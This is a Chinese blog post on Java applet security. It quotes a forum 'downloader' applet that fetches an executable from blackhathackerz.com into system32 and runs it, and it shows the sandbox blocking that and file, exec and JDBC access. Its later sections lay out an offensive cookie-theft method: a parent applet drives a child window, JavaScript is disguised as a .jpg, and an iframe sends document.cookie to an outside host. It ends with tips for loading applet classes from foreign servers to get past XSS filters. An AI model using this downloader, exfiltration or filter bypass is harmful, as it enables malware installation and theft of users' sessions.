`
pichcar
  • 浏览: 289428 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

Java applet 安全性探究

阅读更多

Java applet 安全性探究
因为一个 0day,让作者对java applet心血来潮,随着不断的失败,发现了一个又一个安全特性。本文提醒大家,除了activeX,还有这么一种东西,一旦出现了安全隐患,也会帮大 家做些什么。如果你要找“0DAY”,请掠过;如果你要找“如何使用APPLET下载木马”,请看下集;如果你喜欢研究“applet可能存在的安全隐患 ”,请从这里开始。

第一部分 一个“0day”狂想

最近常听见有朋友说“只有跨站执行脚本才是王道”,但是我想,每一门艺术(技术),都有自己的独到的美(特性),就像后门除了使用“特洛伊”,还有可以用很多微小的途径,拼合起来,就可能达到比它更加完美的效果。

论坛上某帖发出一篇通杀FF和IE的0DAY代码:

Import java.applet.Applet;            //加载applet包
。。。。。。。。。。。。。。。。。。。。。。。省略

public class Client extends Applet           //继承applet
{
public void start()                   //重写applet的主要方法
{
。。。。。。。。。。。。。。。。。。。。。。。省略
System.out.println(“aaa”);     //如果进入了这个方法,会打印“aaa”
URL url = new URL("http://www.blackhathackerz.com/applet/Client.exe");
//楼上代码,定义了要从这个地址中拿文件。
bufferedoutputstream=newBufferedOutputStream(new FileOutputStream("C:\\windows\\system32              //楼上把拿下来的文件放到system32下
\\Client.exe"));
URLConnection urlconnection = url.openConnection();     //打开SOCKET链接
inputstream = urlconnection.getInputStream();            //取得文件的流
byte abyte0[] = new byte[1024];
int i;
for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
bufferedoutputstream.write(abyte0, 0, i);             //把文件写入
。。。。。。。。。。。。。。。。。。。。。。。省略
Runtime runtime = Runtime.getRuntime();
try
{
Process process = runtime.exec("C:\\windows\\system32\\Client.exe");
//楼上要去执行文件
。。。。。。。。。。。。。。。。。。。。。。。省略说实话,刚拿到代码时很兴奋,看起来只要用户只要浏览applet的页面,就可以自动执行JAVA(applet),在用户的机器上乱写乱画。这是多么 美妙的事情啊,只要用户装了jre,就完蛋了。于是跟贴发表评论,解读这段代码的含义,甚至还发表了改进的看法。但是等朋友让我写出改进的代码,才在不断 的实践中发现自己的回帖完全是纸上谈兵。

Java applet可以用来点缀html的页面,让它更加花哨,更加吸引MM的目光。某种程度上,它和微软的activeX是一个级别的,都是用来扩展HTML 效果。如果搜索“java applet”,可能会搜索到《java applet向activeX下跪》这篇文章,applet曾经风光一时,后来被微软的activeX垄断。但是毕竟功能还在,也就是说,值得探究的安全 性因素还在。虽然必须要安装JRE环境才可以执行,但是毕竟可以“祸害一部分人”,随着sun的“进一步战略”,也许这个家伙有一天还会冒出来。

在网上找了applet安全的文章,也就那么可怜兮兮的几篇。大概内容都是先列举了他的写文件代码,然后告诉读者这些危险动作默认是不可做的,只有用户 同意了安全证书,才会在用户的policy里加入“读,写,执行”等权限。但是你如果真的在问用户“嘿!哥们儿,咱有个东西,你先点同意,同意我在哥们儿 脸上写点东西,同意我看看哥们儿暗恋的MM,同意我控制哥们儿几天,同意。。。。”。作者没那么深的钓鱼功力让用户签订不平等条约,所以,本文就不探讨当 用户签订安全证书后发生的安全隐患了,因为那真的等于让用户使用最高权限执行一段不可预知的代码。

要研究applet的安全,首先要打开浏览器(IE,FF),工具--?SUN java控制台,右下角会出现冒火的咖啡,右键选择“打开控制面板”,打开“高级”选项卡,选中“调试”里的勾。


选择之后,在每次浏览applet页面时,会看到控制台上会出现每一步的程序执行信息,便于我们知道发生的异常和程序运行结果。

回头看看这段“0day”代码的执行,我为什么会说“纸上谈兵”呢?分析“0day”的执行顺序:“新建文件--利用HTTP协议取文件--把取得的文件内容写入新建的文件--执行该文件”。好哇!整个就是一个下载者经典流程。看看我们执行后的控制台信息吧。



执行过程很明确,打印出了“aaa”,说明代码执行进入了start方法里。Applet的执行顺序为“初始化类(构造方法)--调用init方法—调 用start方法--。。。。。”,你可以认为只要代码写在start里,就会执行。这些都是由浏览器执行的,我们的找茬范围,就是当浏览器执行这些代码 的同时:有没有忽略什么、还能做什么、在做什么的同时会不会触发什么。看这里的信息,并没有去那个URL地址拿EXE文件,反而到了aaa就结束了,是因 为程序里抓了异常,但是故意不做处理。修改代码,打印异常信息到控制台。继续执行。

除了上面的信息外,又打印了

java.security.AccessControlException: access denied (java.io.FilePermission C:\windows\system32\Client.exe write)原来,在执行

bufferedoutputstream = new BufferedOutputStream(new FileOutputStream("C:\\windows\\system32\\Client.exe"));时, 发生了安全异常,不允许新建文件“C:\windows\system32\Client.exe”。好了,连这个新建文件的权限都没有,还谈什么去执行 它。很显然,这段代码单纯的执行并不能达到“0day”的效果,可能有些触发条件没有被贴出来吧,它只能算是一段shellcode罢了。“0day”梦 想暂时结束。那,不能新建文件也可以,如果能把用户个人电脑的文件偷偷发出去,也是个不错的选择。
第二部分 尝试操作文件
所谓的危险性操作,在applet的执行环境下可能发生的有:
读文件
写文件
执行
跨域取东西
跨域通知
跨域建立socket链接
调用外部引擎(JDBC等)
调用APPLET外的JAVA代码
控制浏览器做一些不合理动作
等等。
发用户机器上的文件给某人,不错的想法,但是这里涉及两个基本权限:读文件,上传文件。上一篇里,因为权限问题,写文件的时候断电了。试想毕竟是JAVA,一门庞大的语言,真的无懈可击么?这次我们读个东西试试。
Start代码:

File f = new File("c:/a.txt");
if (f.exists())System.out.println("可以读撒");控制台打印出:

java.security.AccessControlException: access denied (java.io.FilePermission c:\a.txt read)不能读文件,连最基本的“判断文件是否存在”都过不去。

读都不行,更别说执行了?

Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec("format d:");控制台打印出:

java.security.AccessControlException: access denied (java.io.FilePermission C:\windows\system32\Client.exe execute)不能执行,文件相关操作都控制的死死的。好吧,我不奢求直接用java控制文件了。记得在玩注入时,可以调用ACCESS等数据库的引擎去写文件。如果 可以在applet中访问数据库,那有意思了,一样可以做些什么。间接访问文件,只要没有控制applet访问JDBC驱动的权限,就能执行sql。

Class.forName(sun.jdbc.odbc.JdbcOdbcDriver);
conn=DriverManager.getConnection("jdbc:odbc:driver={Microsoft Access Driver (*.mdb)};DBQ=C:/WINDOWS/system32/ias/dnary.mdb", strUserName, strPassword);
stmt=conn.createStatement();再看看结果:

java.security.AccessControlException: access denied (java.lang.RuntimePermission accessClassInPackage.sun.jdbc.odbc)又是失败,也就是说,applet控制了访问其他packet中的内容,只准访问自己内定的包,外部驱动不能用。我所知道的方法基本上都测试了,或许还有,但是这个层面上,最具代表性的都试了,其他的(跨域发送socket包等等)就不拿出来一一说明了。
第三部分 对浏览器的操作
几天前看到一篇文章,提到“鬼域”,也就是“鬼页”。文中提到可以控制子窗口内部FRAME,IE6可以控制子窗口执行JS,但是IE7,FF不能做。那么用applet来执行的结果,和这篇文章的内容对比,可以多做些什么,而又不能实现什么呢?
netscape.javascript.JSObject类可以在applet中调用JS,该类是个抽象类。这个类构造方法是protected的, 也就是说,不能直接new出来,只能由子类new,调用其中的静态方法“getWindow(Applet applet)”返回它的一个实例。通常我们使用的时候,这样的设计,就限制了必须要有个applet执行时才可以实例化这个类,也就是当浏览器加载 applet时才可以实例化JSObject。其中的eval方法顾名思义是执行js代码的,applet都能做,只是在页面上看不到JS代码而已,当 然,在js中也可以调用applet的方法。这就有个安全隐患了,如果程序仅仅限制了<script>标签,那么使用applet,一样可以 达到绕过限制调用JS。当然如果直接限制了“<”,那也没辙。

下面是一般调用applet的html代码:

<applet code="AppletTest.class" width="300" height="200">
不支持java虚拟机
</applet>只要贴在HTML页面,就能执行applet,CLASS文件是applet小程序的代码,如果用户浏览器不支持JVM虚拟机,会打出中间的信息。
为了探究applet的安全性,本文拿那篇“浅析浏览器的跨域安全问题”一文的内容(没看过的自己去百度,如果不看该文,下面的内容会很生涩),来做个问题的模板,用applet来实现文中提到的一些技术,并对比一下和JS的安全性差异。
首先是“伪协议”问题

引用文章内容:

<script>
x=window.open("about:blank");
x.location="javascript:alert(document.domain)"
</script>
结果是:
IE6:执行了伪协议,认为弹出窗口的域是127.0.0.1。
IE7:执行了伪协议,认为弹出窗口的域是127.0.0.1。
Firefox:执行了伪协议,认为还没有域为NULL。这段代码取得子窗体的域,如果两个HTML文件在同一个域,就可以做很多事情,比如用“AJAX”技术把该页面的敏感信息提交到另一个页面,并且只有同域下的iframe才可以控制父页面。如下面这段JS,只能在同域下的iframe中执行。

parent.location.reload(true);             //让父窗口重新载入为了做对比,使用Applet来实现伪协议的效果:

this.getAppletContext().showDocument(new URL("http://192.168.0.3/"),"kxlzx");
this.getAppletContext().showDocument(new URL("javascript:alert(document.domain)"),"kxlzx");这段代码第一行会弹出新的窗口,窗口名称为“kxlzx”(在程序中可以使用“kxlzx”访问弹出的窗口),第二行会在“kxlzx”这个窗口中继续显示"javascript:alert(document.domain)"。访问页面http://192.168.0.3/test.htm,IE7和FF都弹出了“192.168.0.3”。请注意,这种情况发生在“当前页面和弹出页面都在同一个域”下。
父页和子页的关系
引用“浅析浏览器的跨域安全问题”一文的代码:

<script>
x=window.open("about:blank");
x.location="http://www.163.com" //访问163网站
setTimeout(function(){
x.location="http://127.0.0.1";
},5000) //5秒后重定向到127.0.0.1
</script>再次使用applet实现以上效果:

public class writeFile extends Applet implements Runnable{
private Thread thread = null;
private String url;
public void run()
{
try {
this.getAppletContext().showDocument(new URL(url),"kxlzx");
} catch (MalformedURLException e) {
}
}
public void start()
{
try {
url = "http://www.sohu.com";
thread = new Thread(this);
thread.run();
thread.sleep(5000);
url = "http://www.sina.com";
thread = new Thread(this);
thread.run();
} catch (Exception e) {
}
}
}IE和FF都执行成功,子窗口先访问了sohu,过5秒,访问了sina,子页将永远受制于父页。
域与域之间的牵绊
那么不同域会出现什么情况呢?

this.getAppletContext().showDocument(new URL("http://192.168.0.2/"),"kxlzx");
this.getAppletContext().showDocument(new URL("javascript:alert(document.domain)"),"kxlzx");这段代码和前面第一节部分唯一的差别是,打开http://192.168.0.3/test2.htm(父窗体)页面后,父窗体的applet控制子窗体访问到了另一个域“192.168.0.2”中。执行结果,IE拒绝访问,FF却弹出了


奇怪,分明是让子窗体去访问"javascript:alert(document.domain)",怎么会弹出父窗体的域名呢?更诡异的是,弹出框的title上居然写着 “来自192.168.0.3的页面说:”。猜测这个问题有两种可能:
1、子窗口http://192.168.0.2/php.php)仍然认为自己属于父窗体的域(192.168.0.3)。
2、这个框(JS)根本就是由父窗体调出来的。
为了证明域的问题,我写了段JS来判断,在子窗体的页面中,写段AJAX,让他去给父窗体送点东西。如果同一个域,就能拿,如果不同域会拒绝访问。

几经测试,写出了可以通过的代码:

public class writeFile extends Applet {
public void start()
{
try {
this.getAppletContext().showDocument(new URL("http://192.168.0.2/php.php"),"kxlzx");
this.getAppletContext().showDocument(new URL("javascript:xmlHttp = new XMLHttpRequest();xmlHttp.onreadystatechange = function handleStateChange(){if (xmlHttp.readyState == 4 ){if (xmlHttp.status == 200 )alert(xmlHttp.responseText);}};xmlHttp.open(\"GET\", \"http://\"+document.domain+\"/test/a.asp?context=ddd\", true); xmlHttp.send(null);"),"kxlzx");
} catch (Exception e) {
}
}
}请注意变红的地方!代码会先控制子窗体打开页面,然后控制子窗体执行一段ajax代码访问a.asp。a.asp文件的作用是接收context变量, 然后把它的值保存在本地一个kxlzx.txt的文件里。从kxlzx.txt文件内容来看,执行成功了。也就是说,这段ajax成功的访问了位于 192.168.0.3上的文件a.asp,并提交了参数。

这时的我非常兴奋!跨域“0day”?!!别高兴的太早,还有种可能就是父 窗口执行了ajax。为了进一步扩大战果和分辨父子窗体,我立刻修改js,让他把cookie传过去,修改代码中传递参数的值为 “a.asp?context=aa'+document.cookie+document.getElementById(‘who’)”。然后修改子 窗体访问的php.php:

<script>
document.cookie='password:kxlzx';
</script>
<input id="who" value="php.php">再修改父窗体访问的页面(加载applet的页面test2.htm):

<script>
document.cookie='yumen…';
</script>
<input id="who" value="test2.htm">
<applet code="writeFile.class" width="300" height="200">
不支持java虚拟机
</applet>这两段有什么用呢?首先是cookie问题,如果单纯靠两个页的cookie判断,可能达不到效果,别忘了他们的域是一样的,很可能两个页面cookie都是test2.htm的cookie。但是再加个input就不一样了,input的值可不会因为域而改变。
这样,不同的页面所调用ajax的结果就有所区别。测试结果很诡异,我在kxlzx.txt中只找到了test2.htm的cookie,没有后面紧跟的input的值。两个页面都有input,怎么会拿不到值?打开ff的错误控制台,看到了如下错误:


执行这段js的页面根本就没有这个input!两种解释:
1、还有个页面偷偷执行了这段ajax,然后消失的无影无踪。
2、这段JS在第二个页面(子窗体)中执行,但是执行的时候子窗体还没有访问php.php。
至少不可能是test2.htm执行了js,如果他执行js,一定能拿到“who”的值,input在applet之前就加载了。无论是哪种可能,跨域 0day梦,宣告结束。父窗体不能让子窗体执行脚本,只能让他访问一些页面。好吧,你狠!不过,我们回到一个话题来:“为什么要让子窗体执行脚本?”,很 显然,我们想要子窗体的cookie。
整理思路:

1、父窗体可以控制子窗体到处访问。
2、父窗体不能让子窗体执行脚本。
3、我们想拿子窗体的cookie。
4、只有同一个域下,才能取cookie。
你应该感到有趣才是,因为作者不可能把一段废话一一列举在这里,你能想到什么呢?公布答案!假设我们能控制父窗体的代码,想要子窗体的cookie步骤:
1、我们可爱的IE浏览器打http://www.inbreak.net/blog/kxlzx.jpg时,如果jpg里面其实是js,发生什么? 很好!会执行JS!步骤一的关键就是,往子窗口的域名下(网站),传一个jpg文件,里面是JS代码。Js代码用来:获取cookie,然后使用AJAX 技术将cookie提交到同一个域的某个能储存东西的地方,比如留言本。
2、既然要获取cookie,那浏览器至少要有子窗体的cookie,比如他登录过就会有cookie。让父窗体先打开子窗体的kxlzx.jpg,一秒,闪一秒就足够代码执行了,之后的事情就不用我说了。

如果步骤一的条件有出入,没有可以储存东西的地方,你可以尝试以下代码绕过AJAX的跨域限制:

<iframe id="iframe_kxlzx" width="10" height="10"></iframe>
<script>
document.getElementById("iframe_kxlzx").src="http://www.inbreak.net/blog/default.asp?cookies="+document.cookie;
</script>以上步骤不仅仅可以应用于applet,还可以在js中实现。可以实现以上步骤的代码,本文已经写的够多了,请在楼上找吧。
作者技术有限,目前研究到这里,给大家个研究方向:往applet底层实现进发,研究能绕过applet权限的函数,去年就出了一个。实践出真知,作者 的研究思路一定不是最好的,甚至文中或许还会有错误,但是文中代码都是作者通过无数次实践,才精挑细选出了最能说明问题的部分,希望能对大家有所帮助。
最后发几个小技巧:

1、跨域调用class文件。突破XSS的时候,如果不能上传class文件(通常都不可以),就可以把class文件放在其他地方。把class文件放在其他服务器上调用,有了这个功能,更利于我们没有限制的跨域调用class文件。

<applet>标签中,如果class文件在http://www.inbreak.net/toolss/Ghost.class”
要这样写:
<applet codebase="http://www.inbreak.net/toolss/" code="Ghost.class" width="300" height="200">2、调试的时候,如果编译好了class文件,之后修改类,又重新编译了class文件,一定要关闭浏览器重新打开,才能看到新的效果。因为浏览器有缓存,同样会缓存class文件,如果不清空缓存或重新打开浏览器,就等于使用了原来的class文件。
3、调试的时候,一定要仔细考虑到整个流程执行顺序,特别是当你以为自己不小心发现“0day”的时候。
4、最后提醒,applet只能执行在JVM环境中。

参考文献:

《浅析浏览器的跨域安全问题》 Ph4nt0m Security Team rayh4c

《Java security evolution and concepts, Part 3: Applet security》 Raghavan N. Srinivas

《Applet Security》 SUN官方

《Java 2 Applet Security》 Abdul Habra, 2.7.2000

《JDK帮助》
附件说明:

a.asp ------- 接收变量,保存内容为kxlzx.txt的页面

Applet_ODBC.java -------- 使用applet链接access数据库的代码

Applet_Control_Open.java -------- 父窗体控制子窗体到处访问的代码

Oday.java ---------- 第一部分提到的0day

ReadFile.java -------- applet读文件

writeFile.java --------- applet写文件

Xss.java ----- 控制子窗口弹cookie

test2.htm ------ 文中提到的加载applet页面

php.php ----- 没有这个文件,因为它代码改来改去的,文中找吧。
分享到:
评论

相关推荐

    JAVA框架技术实验内容_HotJava浏览器_java_appletweb_

    6. **安全性和限制**:了解Java Applet的安全模型,如沙箱机制,以及它对网络访问和系统资源使用的限制。 7. **部署和测试**:将编写的applet部署到Web服务器,使用HotJava浏览器或其他支持Java的浏览器进行测试。 ...

    java2平台安全技术结构API设计和实现

    本书明确而详尽地阐述了Java平台安全性,探究了Java安全结构的内幕。 本书首先概述了计算机和网络安全概念并解释了Java安全模型,并在此基础上,详细描述了Java 2平台中新增加的许多安全结构方面的措施,同时对Java...

    JAVA 2平台安全技术-结构,API设计和实现

    本书明确而详尽地阐述了Java平台安全性,探究了Java安全结构的内幕。本书首先概述了计算机和网络安全概念并解释了Java安全模型,并在此基础上,详细描述了Java 2平台中新增加的许多安全结构方面的措施,同时对Java...

    java2平台安全技术-结构,api设计和实现.rar

    本书明确而详尽地阐述了Java平台安全性,探究了Java安全结构的内幕。本书首先概述了计算机和网络安全概念并解释了Java安全模型,并在此基础上,详细描述了Java 2平台中新增加的许多安全结构方面的措施,同时对Java...

    Java_2平台安全技术-结构,API设计和实现

    本书明确而详尽地阐述了Java平台安全性,探究了Java安全结构的内幕。本书首先概述了计算机和网络安全概念并解释了Java安全模型,并在此基础上,详细描述了Java 2平台中新增加的许多安全结构方面的措施,同时对Java...

    AVA 2平台安全技术-结构,API设计和实现

    本书明确而详尽地阐述了Java平台安全性,探究了Java安全结构的内幕。本书首先概述了计算机和网络安全概念并解释了Java安全模型,并在此基础上,详细描述了Java 2平台中新增加的许多安全结构方面的措施,同时对Java...

    基于Java开发的EJB技术应用探究.pdf

    "基于Java开发的EJB技术应用探究" 一、程序语言的概述 程序语言是一种编程语言,是用来定义计算机程序的形式语言。...Java语言和EJB技术的应用可以提高软件开发的效率和质量,提高软件的可维护性和可扩展性。

    基于Java实现的酒店管理系统源码文件及sql文件

    5. **安全性**:探究系统如何处理用户认证和授权,这对于防止未授权访问至关重要。 6. **错误处理**:查看源码中的异常处理机制,学习如何优雅地捕获和处理程序运行时可能出现的问题。 7. **SQL优化**:分析SQL...

    Inside the Java Virtual Machine(中文第2版).pdf

    此外,书中还对Java线程和监视器的行为、垃圾收集算法以及对象终结等话题进行了详细讨论,并且深入分析了Java安全模型,包括类型安全性、类装载器体系和安全管理器等。 本书第1至4章解释了Java虚拟机的体系结构,使...

    Java小程序

    通过阅读和分析源码,开发者可以深入探究Java小程序如何与Web环境交互,如何处理安全性和性能优化等问题。 工具在Java开发中起着至关重要的作用,例如,Eclipse、IntelliJ IDEA等集成开发环境(IDE)提供了编写、...

    调查报告:网站设计战略.doc

    总体来看,该调查揭示了几个核心洞察:一是网站设计技术并非直接影响访问量的最主要因素,二是网站的规模、历史和投入成本对流量有显著影响,三是安全性在用户决策中扮演了重要角色。这些发现对制定有效的网络营销...

    JAVA面向对象程序的设计教学方案.doc

    1994年,Oak更名为Java,并因其跨平台性、安全性及可移植性而迅速流行。Java语言适用于开发各种类型的应用,包括桌面应用、Web应用、移动应用、企业级应用等,是现代软件开发中的重要工具。 在教学过程中,学生将...

    how to use beanshell to debug java application

    在评估Java应用程序的安全性时,特别是客户端-服务器架构的应用程序,往往涉及到修改代码、编译、部署、测试等一系列繁琐的过程。当无法获取源代码时,这个过程变得更加困难。为了解决这一问题,我们引入了BeanShell...

    调查报告:网站设计战略.docx

    总的来说,网站设计并非决定访问量的唯一因素,但安全性和持续优化对用户体验和信任感的提升不容忽视。此外,投资高质量的设计和长期的在线运营经验同样对提升网站访问量至关重要。企业应重视这些关键因素,以优化...

    Java An Introduction to Problem Solving and Programming

    另一个Applet示例(第38页) - **介绍**:Applets是早期Java技术的一部分,用于在Web浏览器中运行交互式应用。 - **特点**: - 需要嵌入到HTML页面中才能运行。 - 安全限制:不允许访问本地文件系统等资源。 - ...

Global site tag (gtag.js) - Google Analytics